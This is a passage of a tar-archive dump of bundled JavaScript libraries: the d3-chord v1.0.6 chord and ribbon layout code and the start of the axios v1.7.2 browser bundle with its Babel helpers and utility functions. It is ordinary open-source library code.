t},o},n.ribbon=function(){var n=s,t=p,o=h,l=d,i=g,v=null;function y(){var f,s=c.call(arguments),p=n.apply(this,s),h=t.apply(this,s),d=+o.apply(this,(s[0]=p,s)),g=l.apply(this,s)-a,y=i.apply(this,s)-a,A=d*e(g),x=d*u(g),b=+o.apply(this,(s[0]=h,s)),M=l.apply(this,s)-a,m=i.apply(this,s)-a;if(v||(v=f=r.path()),v.moveTo(A,x),v.arc(0,0,d,g,y),g===M&&y===m||(v.quadraticCurveTo(0,0,b*e(M),b*u(M)),v.arc(0,0,b,M,m)),v.quadraticCurveTo(0,0,A,x),v.closePath(),f)return v=null,f+""||null}return y.radius=function(n){return arguments.length?(o="function"==typeof n?n:f(+n),y):o},y.startAngle=function(n){return arguments.length?(l="function"==typeof n?n:f(+n),y):l},y.endAngle=function(n){return arguments.length?(i="function"==typeof n?n:f(+n),y):i},y.source=function(t){return arguments.length?(n=t,y):n},y.target=function(n){return arguments.length?(t=n,y):t},y.context=function(n){return arguments.length?(v=null==n?null:n,y):v},y},Object.defineProperty(n,"__esModule",{value:!0})}); d3-chord.js000064400000014273151677266450006537 0ustar00// https://d3js.org/d3-chord/ v1.0.6 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-array'), require('d3-path')) : typeof define === 'function' && define.amd ? define(['exports', 'd3-array', 'd3-path'], factory) : (factory((global.d3 = global.d3 || {}),global.d3,global.d3)); }(this, (function (exports,d3Array,d3Path) { 'use strict'; var cos = Math.cos; var sin = Math.sin; var pi = Math.PI; var halfPi = pi / 2; var tau = pi * 2; var max = Math.max; function compareValue(compare) { return function(a, b) { return compare( a.source.value + a.target.value, b.source.value + b.target.value ); }; } function chord() { var padAngle = 0, sortGroups = null, sortSubgroups = null, sortChords = null; function chord(matrix) { var n = matrix.length, groupSums = [], groupIndex = d3Array.range(n), subgroupIndex = [], chords = [], groups = chords.groups = new Array(n), subgroups = new Array(n * n), k, x, x0, dx, i, j; // Compute the sum. k = 0, i = -1; while (++i < n) { x = 0, j = -1; while (++j < n) { x += matrix[i][j]; } groupSums.push(x); subgroupIndex.push(d3Array.range(n)); k += x; } // Sort groups… if (sortGroups) groupIndex.sort(function(a, b) { return sortGroups(groupSums[a], groupSums[b]); }); // Sort subgroups… if (sortSubgroups) subgroupIndex.forEach(function(d, i) { d.sort(function(a, b) { return sortSubgroups(matrix[i][a], matrix[i][b]); }); }); // Convert the sum to scaling factor for [0, 2pi]. // TODO Allow start and end angle to be specified? // TODO Allow padding to be specified as percentage? k = max(0, tau - padAngle * n) / k; dx = k ? padAngle : tau / n; // Compute the start and end angle for each group and subgroup. // Note: Opera has a bug reordering object literal properties! x = 0, i = -1; while (++i < n) { x0 = x, j = -1; while (++j < n) { var di = groupIndex[i], dj = subgroupIndex[di][j], v = matrix[di][dj], a0 = x, a1 = x += v * k; subgroups[dj * n + di] = { index: di, subindex: dj, startAngle: a0, endAngle: a1, value: v }; } groups[di] = { index: di, startAngle: x0, endAngle: x, value: groupSums[di] }; x += dx; } // Generate chords for each (non-empty) subgroup-subgroup link. i = -1; while (++i < n) { j = i - 1; while (++j < n) { var source = subgroups[j * n + i], target = subgroups[i * n + j]; if (source.value || target.value) { chords.push(source.value < target.value ? {source: target, target: source} : {source: source, target: target}); } } } return sortChords ? chords.sort(sortChords) : chords; } chord.padAngle = function(_) { return arguments.length ? (padAngle = max(0, _), chord) : padAngle; }; chord.sortGroups = function(_) { return arguments.length ? (sortGroups = _, chord) : sortGroups; }; chord.sortSubgroups = function(_) { return arguments.length ? (sortSubgroups = _, chord) : sortSubgroups; }; chord.sortChords = function(_) { return arguments.length ? (_ == null ? sortChords = null : (sortChords = compareValue(_))._ = _, chord) : sortChords && sortChords._; }; return chord; } var slice = Array.prototype.slice; function constant(x) { return function() { return x; }; } function defaultSource(d) { return d.source; } function defaultTarget(d) { return d.target; } function defaultRadius(d) { return d.radius; } function defaultStartAngle(d) { return d.startAngle; } function defaultEndAngle(d) { return d.endAngle; } function ribbon() { var source = defaultSource, target = defaultTarget, radius = defaultRadius, startAngle = defaultStartAngle, endAngle = defaultEndAngle, context = null; function ribbon() { var buffer, argv = slice.call(arguments), s = source.apply(this, argv), t = target.apply(this, argv), sr = +radius.apply(this, (argv[0] = s, argv)), sa0 = startAngle.apply(this, argv) - halfPi, sa1 = endAngle.apply(this, argv) - halfPi, sx0 = sr * cos(sa0), sy0 = sr * sin(sa0), tr = +radius.apply(this, (argv[0] = t, argv)), ta0 = startAngle.apply(this, argv) - halfPi, ta1 = endAngle.apply(this, argv) - halfPi; if (!context) context = buffer = d3Path.path(); context.moveTo(sx0, sy0); context.arc(0, 0, sr, sa0, sa1); if (sa0 !== ta0 || sa1 !== ta1) { // TODO sr !== tr? context.quadraticCurveTo(0, 0, tr * cos(ta0), tr * sin(ta0)); context.arc(0, 0, tr, ta0, ta1); } context.quadraticCurveTo(0, 0, sx0, sy0); context.closePath(); if (buffer) return context = null, buffer + "" || null; } ribbon.radius = function(_) { return arguments.length ? (radius = typeof _ === "function" ? _ : constant(+_), ribbon) : radius; }; ribbon.startAngle = function(_) { return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : startAngle; }; ribbon.endAngle = function(_) { return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : endAngle; }; ribbon.source = function(_) { return arguments.length ? (source = _, ribbon) : source; }; ribbon.target = function(_) { return arguments.length ? (target = _, ribbon) : target; }; ribbon.context = function(_) { return arguments.length ? ((context = _ == null ? null : _), ribbon) : context; }; return ribbon; } exports.chord = chord; exports.ribbon = ribbon; Object.defineProperty(exports, '__esModule', { value: true }); }))); axios.js000064400000421271151677271550006254 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.axios = factory()); })(this, (function () { 'use strict'; function _AsyncGenerator(e) { var r, t; function resume(r, t) { try { var n = e[r](t), o = n.value, u = o instanceof _OverloadYield; Promise.resolve(u ? o.v : o).then(function (t) { if (u) { var i = "return" === r ? "return" : "next"; if (!o.k || t.done) return resume(i, t); t = e[i](t).value; } settle(n.done ? "return" : "normal", t); }, function (e) { resume("throw", e); }); } catch (e) { settle("throw", e); } } function settle(e, n) { switch (e) { case "return": r.resolve({ value: n, done: !0 }); break; case "throw": r.reject(n); break; default: r.resolve({ value: n, done: !1 }); } (r = r.next) ? resume(r.key, r.arg) : t = null; } this._invoke = function (e, n) { return new Promise(function (o, u) { var i = { key: e, arg: n, resolve: o, reject: u, next: null }; t ? t = t.next = i : (r = t = i, resume(e, n)); }); }, "function" != typeof e.return && (this.return = void 0); } _AsyncGenerator.prototype["function" == typeof Symbol && Symbol.asyncIterator || "@@asyncIterator"] = function () { return this; }, _AsyncGenerator.prototype.next = function (e) { return this._invoke("next", e); }, _AsyncGenerator.prototype.throw = function (e) { return this._invoke("throw", e); }, _AsyncGenerator.prototype.return = function (e) { return this._invoke("return", e); }; function _OverloadYield(t, e) { this.v = t, this.k = e; } function _asyncGeneratorDelegate(t) { var e = {}, n = !1; function pump(e, r) { return n = !0, r = new Promise(function (n) { n(t[e](r)); }), { done: !1, value: new _OverloadYield(r, 1) }; } return e["undefined" != typeof Symbol && Symbol.iterator || "@@iterator"] = function () { return this; }, e.next = function (t) { return n ? (n = !1, t) : pump("next", t); }, "function" == typeof t.throw && (e.throw = function (t) { if (n) throw n = !1, t; return pump("throw", t); }), "function" == typeof t.return && (e.return = function (t) { return n ? (n = !1, t) : pump("return", t); }), e; } function _asyncIterator(r) { var n, t, o, e = 2; for ("undefined" != typeof Symbol && (t = Symbol.asyncIterator, o = Symbol.iterator); e--;) { if (t && null != (n = r[t])) return n.call(r); if (o && null != (n = r[o])) return new AsyncFromSyncIterator(n.call(r)); t = "@@asyncIterator", o = "@@iterator"; } throw new TypeError("Object is not async iterable"); } function AsyncFromSyncIterator(r) { function AsyncFromSyncIteratorContinuation(r) { if (Object(r) !== r) return Promise.reject(new TypeError(r + " is not an object.")); var n = r.done; return Promise.resolve(r.value).then(function (r) { return { value: r, done: n }; }); } return AsyncFromSyncIterator = function (r) { this.s = r, this.n = r.next; }, AsyncFromSyncIterator.prototype = { s: null, n: null, next: function () { return AsyncFromSyncIteratorContinuation(this.n.apply(this.s, arguments)); }, return: function (r) { var n = this.s.return; return void 0 === n ? Promise.resolve({ value: r, done: !0 }) : AsyncFromSyncIteratorContinuation(n.apply(this.s, arguments)); }, throw: function (r) { var n = this.s.return; return void 0 === n ? Promise.reject(r) : AsyncFromSyncIteratorContinuation(n.apply(this.s, arguments)); } }, new AsyncFromSyncIterator(r); } function _awaitAsyncGenerator(e) { return new _OverloadYield(e, 0); } function _iterableToArrayLimit(r, l) { var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (null != t) { var e, n, i, u, a = [], f = !0, o = !1; try { if (i = (t = t.call(r)).next, 0 === l) { if (Object(t) !== t) return; f = !1; } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0); } catch (r) { o = !0, n = r; } finally { try { if (!f && null != t.return && (u = t.return(), Object(u) !== u)) return; } finally { if (o) throw n; } } return a; } } function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; } function _objectSpread2(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; } function _regeneratorRuntime() { _regeneratorRuntime = function () { return e; }; var t, e = {}, r = Object.prototype, n = r.hasOwnProperty, o = Object.defineProperty || function (t, e, r) { t[e] = r.value; }, i = "function" == typeof Symbol ? Symbol : {}, a = i.iterator || "@@iterator", c = i.asyncIterator || "@@asyncIterator", u = i.toStringTag || "@@toStringTag"; function define(t, e, r) { return Object.defineProperty(t, e, { value: r, enumerable: !0, configurable: !0, writable: !0 }), t[e]; } try { define({}, ""); } catch (t) { define = function (t, e, r) { return t[e] = r; }; } function wrap(t, e, r, n) { var i = e && e.prototype instanceof Generator ? e : Generator, a = Object.create(i.prototype), c = new Context(n || []); return o(a, "_invoke", { value: makeInvokeMethod(t, r, c) }), a; } function tryCatch(t, e, r) { try { return { type: "normal", arg: t.call(e, r) }; } catch (t) { return { type: "throw", arg: t }; } } e.wrap = wrap; var h = "suspendedStart", l = "suspendedYield", f = "executing", s = "completed", y = {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var p = {}; define(p, a, function () { return this; }); var d = Object.getPrototypeOf, v = d && d(d(values([]))); v && v !== r && n.call(v, a) && (p = v); var g = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(p); function defineIteratorMethods(t) { ["next", "throw", "return"].forEach(function (e) { define(t, e, function (t) { return this._invoke(e, t); }); }); } function AsyncIterator(t, e) { function invoke(r, o, i, a) { var c = tryCatch(t[r], t, o); if ("throw" !== c.type) { var u = c.arg, h = u.value; return h && "object" == typeof h && n.call(h, "__await") ? e.resolve(h.__await).then(function (t) { invoke("next", t, i, a); }, function (t) { invoke("throw", t, i, a); }) : e.resolve(h).then(function (t) { u.value = t, i(u); }, function (t) { return invoke("throw", t, i, a); }); } a(c.arg); } var r; o(this, "_invoke", { value: function (t, n) { function callInvokeWithMethodAndArg() { return new e(function (e, r) { invoke(t, n, e, r); }); } return r = r ? r.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(e, r, n) { var o = h; return function (i, a) { if (o === f) throw new Error("Generator is already running"); if (o === s) { if ("throw" === i) throw a; return { value: t, done: !0 }; } for (n.method = i, n.arg = a;;) { var c = n.delegate; if (c) { var u = maybeInvokeDelegate(c, n); if (u) { if (u === y) continue; return u; } } if ("next" === n.method) n.sent = n._sent = n.arg;else if ("throw" === n.method) { if (o === h) throw o = s, n.arg; n.dispatchException(n.arg); } else "return" === n.method && n.abrupt("return", n.arg); o = f; var p = tryCatch(e, r, n); if ("normal" === p.type) { if (o = n.done ? s : l, p.arg === y) continue; return { value: p.arg, done: n.done }; } "throw" === p.type && (o = s, n.method = "throw", n.arg = p.arg); } }; } function maybeInvokeDelegate(e, r) { var n = r.method, o = e.iterator[n]; if (o === t) return r.delegate = null, "throw" === n && e.iterator.return && (r.method = "return", r.arg = t, maybeInvokeDelegate(e, r), "throw" === r.method) || "return" !== n && (r.method = "throw", r.arg = new TypeError("The iterator does not provide a '" + n + "' method")), y; var i = tryCatch(o, e.iterator, r.arg); if ("throw" === i.type) return r.method = "throw", r.arg = i.arg, r.delegate = null, y; var a = i.arg; return a ? a.done ? (r[e.resultName] = a.value, r.next = e.nextLoc, "return" !== r.method && (r.method = "next", r.arg = t), r.delegate = null, y) : a : (r.method = "throw", r.arg = new TypeError("iterator result is not an object"), r.delegate = null, y); } function pushTryEntry(t) { var e = { tryLoc: t[0] }; 1 in t && (e.catchLoc = t[1]), 2 in t && (e.finallyLoc = t[2], e.afterLoc = t[3]), this.tryEntries.push(e); } function resetTryEntry(t) { var e = t.completion || {}; e.type = "normal", delete e.arg, t.completion = e; } function Context(t) { this.tryEntries = [{ tryLoc: "root" }], t.forEach(pushTryEntry, this), this.reset(!0); } function values(e) { if (e || "" === e) { var r = e[a]; if (r) return r.call(e); if ("function" == typeof e.next) return e; if (!isNaN(e.length)) { var o = -1, i = function next() { for (; ++o < e.length;) if (n.call(e, o)) return next.value = e[o], next.done = !1, next; return next.value = t, next.done = !0, next; }; return i.next = i; } } throw new TypeError(typeof e + " is not iterable"); } return GeneratorFunction.prototype = GeneratorFunctionPrototype, o(g, "constructor", { value: GeneratorFunctionPrototype, configurable: !0 }), o(GeneratorFunctionPrototype, "constructor", { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName = define(GeneratorFunctionPrototype, u, "GeneratorFunction"), e.isGeneratorFunction = function (t) { var e = "function" == typeof t && t.constructor; return !!e && (e === GeneratorFunction || "GeneratorFunction" === (e.displayName || e.name)); }, e.mark = function (t) { return Object.setPrototypeOf ? Object.setPrototypeOf(t, GeneratorFunctionPrototype) : (t.__proto__ = GeneratorFunctionPrototype, define(t, u, "GeneratorFunction")), t.prototype = Object.create(g), t; }, e.awrap = function (t) { return { __await: t }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, c, function () { return this; }), e.AsyncIterator = AsyncIterator, e.async = function (t, r, n, o, i) { void 0 === i && (i = Promise); var a = new AsyncIterator(wrap(t, r, n, o), i); return e.isGeneratorFunction(r) ? a : a.next().then(function (t) { return t.done ? t.value : a.next(); }); }, defineIteratorMethods(g), define(g, u, "Generator"), define(g, a, function () { return this; }), define(g, "toString", function () { return "[object Generator]"; }), e.keys = function (t) { var e = Object(t), r = []; for (var n in e) r.push(n); return r.reverse(), function next() { for (; r.length;) { var t = r.pop(); if (t in e) return next.value = t, next.done = !1, next; } return next.done = !0, next; }; }, e.values = values, Context.prototype = { constructor: Context, reset: function (e) { if (this.prev = 0, this.next = 0, this.sent = this._sent = t, this.done = !1, this.delegate = null, this.method = "next", this.arg = t, this.tryEntries.forEach(resetTryEntry), !e) for (var r in this) "t" === r.charAt(0) && n.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = t); }, stop: function () { this.done = !0; var t = this.tryEntries[0].completion; if ("throw" === t.type) throw t.arg; return this.rval; }, dispatchException: function (e) { if (this.done) throw e; var r = this; function handle(n, o) { return a.type = "throw", a.arg = e, r.next = n, o && (r.method = "next", r.arg = t), !!o; } for (var o = this.tryEntries.length - 1; o >= 0; --o) { var i = this.tryEntries[o], a = i.completion; if ("root" === i.tryLoc) return handle("end"); if (i.tryLoc <= this.prev) { var c = n.call(i, "catchLoc"), u = n.call(i, "finallyLoc"); if (c && u) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } else if (c) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); } else { if (!u) throw new Error("try statement without catch or finally"); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } } } }, abrupt: function (t, e) { for (var r = this.tryEntries.length - 1; r >= 0; --r) { var o = this.tryEntries[r]; if (o.tryLoc <= this.prev && n.call(o, "finallyLoc") && this.prev < o.finallyLoc) { var i = o; break; } } i && ("break" === t || "continue" === t) && i.tryLoc <= e && e <= i.finallyLoc && (i = null); var a = i ? i.completion : {}; return a.type = t, a.arg = e, i ? (this.method = "next", this.next = i.finallyLoc, y) : this.complete(a); }, complete: function (t, e) { if ("throw" === t.type) throw t.arg; return "break" === t.type || "continue" === t.type ? this.next = t.arg : "return" === t.type ? (this.rval = this.arg = t.arg, this.method = "return", this.next = "end") : "normal" === t.type && e && (this.next = e), y; }, finish: function (t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), resetTryEntry(r), y; } }, catch: function (t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.tryLoc === t) { var n = r.completion; if ("throw" === n.type) { var o = n.arg; resetTryEntry(r); } return o; } } throw new Error("illegal catch attempt"); }, delegateYield: function (e, r, n) { return this.delegate = { iterator: values(e), resultName: r, nextLoc: n }, "next" === this.method && (this.arg = t), y; } }, e; } function _toPrimitive(t, r) { if ("object" != typeof t || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != typeof i) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); } function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == typeof i ? i : String(i); } function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); } function _wrapAsyncGenerator(fn) { return function () { return new _AsyncGenerator(fn.apply(this, arguments)); }; } function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { Promise.resolve(value).then(_next, _throw); } } function _asyncToGenerator(fn) { return function () { var self = this, args = arguments; return new Promise(function (resolve, reject) { var gen = fn.apply(self, args); function _next(value) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, "next", value); } function _throw(err) { asyncGeneratorStep(gen, resolve, reject, _next, _throw, "throw", err); } _next(undefined); }); }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; } function _defineProperty(obj, key, value) { key = _toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _toArray(arr) { return _arrayWithHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableRest(); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _createForOfIteratorHelper(o, allowArrayLike) { var it = typeof Symbol !== "undefined" && o[Symbol.iterator] || o["@@iterator"]; if (!it) { if (Array.isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") { if (it) o = it; var i = 0; var F = function () {}; return { s: F, n: function () { if (i >= o.length) return { done: true }; return { done: false, value: o[i++] }; }, e: function (e) { throw e; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var normalCompletion = true, didErr = false, err; return { s: function () { it = it.call(o); }, n: function () { var step = it.next(); normalCompletion = step.done; return step; }, e: function (e) { didErr = true; err = e; }, f: function () { try { if (!normalCompletion && it.return != null) it.return(); } finally { if (didErr) throw err; } } }; } function bind(fn, thisArg) { return function wrap() { return fn.apply(thisArg, arguments); }; } // utils is a library of generic helper functions non-specific to axios var toString = Object.prototype.toString; var getPrototypeOf = Object.getPrototypeOf; var kindOf = function (cache) { return function (thing) { var str = toString.call(thing); return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase()); }; }(Object.create(null)); var kindOfTest = function kindOfTest(type) { type = type.toLowerCase(); return function (thing) { return kindOf(thing) === type; }; }; var typeOfTest = function typeOfTest(type) { return function (thing) { return _typeof(thing) === type; }; }; /** * Determine if a value is an Array * * @param {Object} val The value to test * * @returns {boolean} True if value is an Array, otherwise false */ var isArray = Array.isArray; /** * Determine if a value is undefined * * @param {*} val The value to test * * @returns {boolean} True if the value is undefined, otherwise false */ var isUndefined = typeOfTest('undefined'); /** * Determine if a value is a Buffer * * @param {*} val The value to test * * @returns {boolean} True if value is a Buffer, otherwise false */ function isBuffer(val) { return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val); } /** * Determine if a value is an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is an ArrayBuffer, otherwise false */ var isArrayBuffer = kindOfTest('ArrayBuffer'); /** * Determine if a value is a view on an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false */ function isArrayBufferView(val) { var result; if (typeof ArrayBuffer !== 'undefined' && ArrayBuffer.isView) { result = ArrayBuffer.isView(val); } else { result = val && val.buffer && isArrayBuffer(val.buffer); } return result; } /** * Determine if a value is a String * * @param {*} val The value to test * * @returns {boolean} True if value is a String, otherwise false */ var isString = typeOfTest('string'); /** * Determine if a value is a Function * * @param {*} val The value to test * @returns {boolean} True if value is a Function, otherwise false */ var isFunction = typeOfTest('function'); /** * Determine if a value is a Number * * @param {*} val The value to test * * @returns {boolean} True if value is a Number, otherwise false */ var isNumber = typeOfTest('number'); /** * Determine if a value is an Object * * @param {*} thing The value to test * * @returns {boolean} True if value is an Object, otherwise false */ var isObject = function isObject(thing) { return thing !== null && _typeof(thing) === 'object'; }; /** * Determine if a value is a Boolean * * @param {*} thing The value to test * @returns {boolean} True if value is a Boolean, otherwise false */ var isBoolean = function isBoolean(thing) { return thing === true || thing === false; }; /** * Determine if a value is a plain Object * * @param {*} val The value to test * * @returns {boolean} True if value is a plain Object, otherwise false */ var isPlainObject = function isPlainObject(val) { if (kindOf(val) !== 'object') { return false; } var prototype = getPrototypeOf(val); return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val); }; /** * Determine if a value is a Date * * @param {*} val The value to test * * @returns {boolean} True if value is a Date, otherwise false */ var isDate = kindOfTest('Date'); /** * Determine if a value is a File * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ var isFile = kindOfTest('File'); /** * Determine if a value is a Blob * * @param {*} val The value to test * * @returns {boolean} True if value is a Blob, otherwise false */ var isBlob = kindOfTest('Blob'); /** * Determine if a value is a FileList * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ var isFileList = kindOfTest('FileList'); /** * Determine if a value is a Stream * * @param {*} val The value to test * * @returns {boolean} True if value is a Stream, otherwise false */ var isStream = function isStream(val) { return isObject(val) && isFunction(val.pipe); }; /** * Determine if a value is a FormData * * @param {*} thing The value to test * * @returns {boolean} True if value is an FormData, otherwise false */ var isFormData = function isFormData(thing) { var kind; return thing && (typeof FormData === 'function' && thing instanceof FormData || isFunction(thing.append) && ((kind = kindOf(thing)) === 'formdata' || // detect form-data instance kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')); }; /** * Determine if a value is a URLSearchParams object * * @param {*} val The value to test * * @returns {boolean} True if value is a URLSearchParams object, otherwise false */ var isURLSearchParams = kindOfTest('URLSearchParams'); var _map = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest), _map2 = _slicedToArray(_map, 4), isReadableStream = _map2[0], isRequest = _map2[1], isResponse = _map2[2], isHeaders = _map2[3]; /** * Trim excess whitespace off the beginning and end of a string * * @param {String} str The String to trim * * @returns {String} The String freed of excess whitespace */ var trim = function trim(str) { return str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); }; /** * Iterate over an Array or an Object invoking a function for each item. * * If `obj` is an Array callback will be called passing * the value, index, and complete array for each item. * * If 'obj' is an Object callback will be called passing * the value, key, and complete object for each property. * * @param {Object|Array} obj The object to iterate * @param {Function} fn The callback to invoke for each item * * @param {Boolean} [allOwnKeys = false] * @returns {any} */ function forEach(obj, fn) { var _ref = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}, _ref$allOwnKeys = _ref.allOwnKeys, allOwnKeys = _ref$allOwnKeys === void 0 ? false : _ref$allOwnKeys; // Don't bother if no value provided if (obj === null || typeof obj === 'undefined') { return; } var i; var l; // Force an array if not already something iterable if (_typeof(obj) !== 'object') { /*eslint no-param-reassign:0*/ obj = [obj]; } if (isArray(obj)) { // Iterate over array values for (i = 0, l = obj.length; i < l; i++) { fn.call(null, obj[i], i, obj); } } else { // Iterate over object keys var keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj); var len = keys.length; var key; for (i = 0; i < len; i++) { key = keys[i]; fn.call(null, obj[key], key, obj); } } } function findKey(obj, key) { key = key.toLowerCase(); var keys = Object.keys(obj); var i = keys.length; var _key; while (i-- > 0) { _key = keys[i]; if (key === _key.toLowerCase()) { return _key; } } return null; } var _global = function () { /*eslint no-undef:0*/ if (typeof globalThis !== "undefined") return globalThis; return typeof self !== "undefined" ? self : typeof window !== 'undefined' ? window : global; }(); var isContextDefined = function isContextDefined(context) { return !isUndefined(context) && context !== _global; }; /** * Accepts varargs expecting each argument to be an object, then * immutably merges the properties of each object and returns result. * * When multiple objects contain the same key the later object in * the arguments list will take precedence. * * Example: * * ```js * var result = merge({foo: 123}, {foo: 456}); * console.log(result.foo); // outputs 456 * ``` * * @param {Object} obj1 Object to merge * * @returns {Object} Result of all merge properties */ function merge( /* obj1, obj2, obj3, ... */ ) { var _ref2 = isContextDefined(this) && this || {}, caseless = _ref2.caseless; var result = {}; var assignValue = function assignValue(val, key) { var targetKey = caseless && findKey(result, key) || key; if (isPlainObject(result[targetKey]) && isPlainObject(val)) { result[targetKey] = merge(result[targetKey], val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { result[targetKey] = val.slice(); } else { result[targetKey] = val; } }; for (var i = 0, l = arguments.length; i < l; i++) { arguments[i] && forEach(arguments[i], assignValue); } return result; } /** * Extends object a by mutably adding to it the properties of object b. * * @param {Object} a The object to be extended * @param {Object} b The object to copy properties from * @param {Object} thisArg The object to bind function to * * @param {Boolean} [allOwnKeys] * @returns {Object} The resulting value of object a */ var extend = function extend(a, b, thisArg) { var _ref3 = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}, allOwnKeys = _ref3.allOwnKeys; forEach(b, function (val, key) { if (thisArg && isFunction(val)) { a[key] = bind(val, thisArg); } else { a[key] = val; } }, { allOwnKeys: allOwnKeys }); return a; }; /** * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM) * * @param {string} content with BOM * * @returns {string} content value without BOM */ var stripBOM = function stripBOM(content) { if (content.charCodeAt(0) === 0xFEFF) { content = content.slice(1); } return content; }; 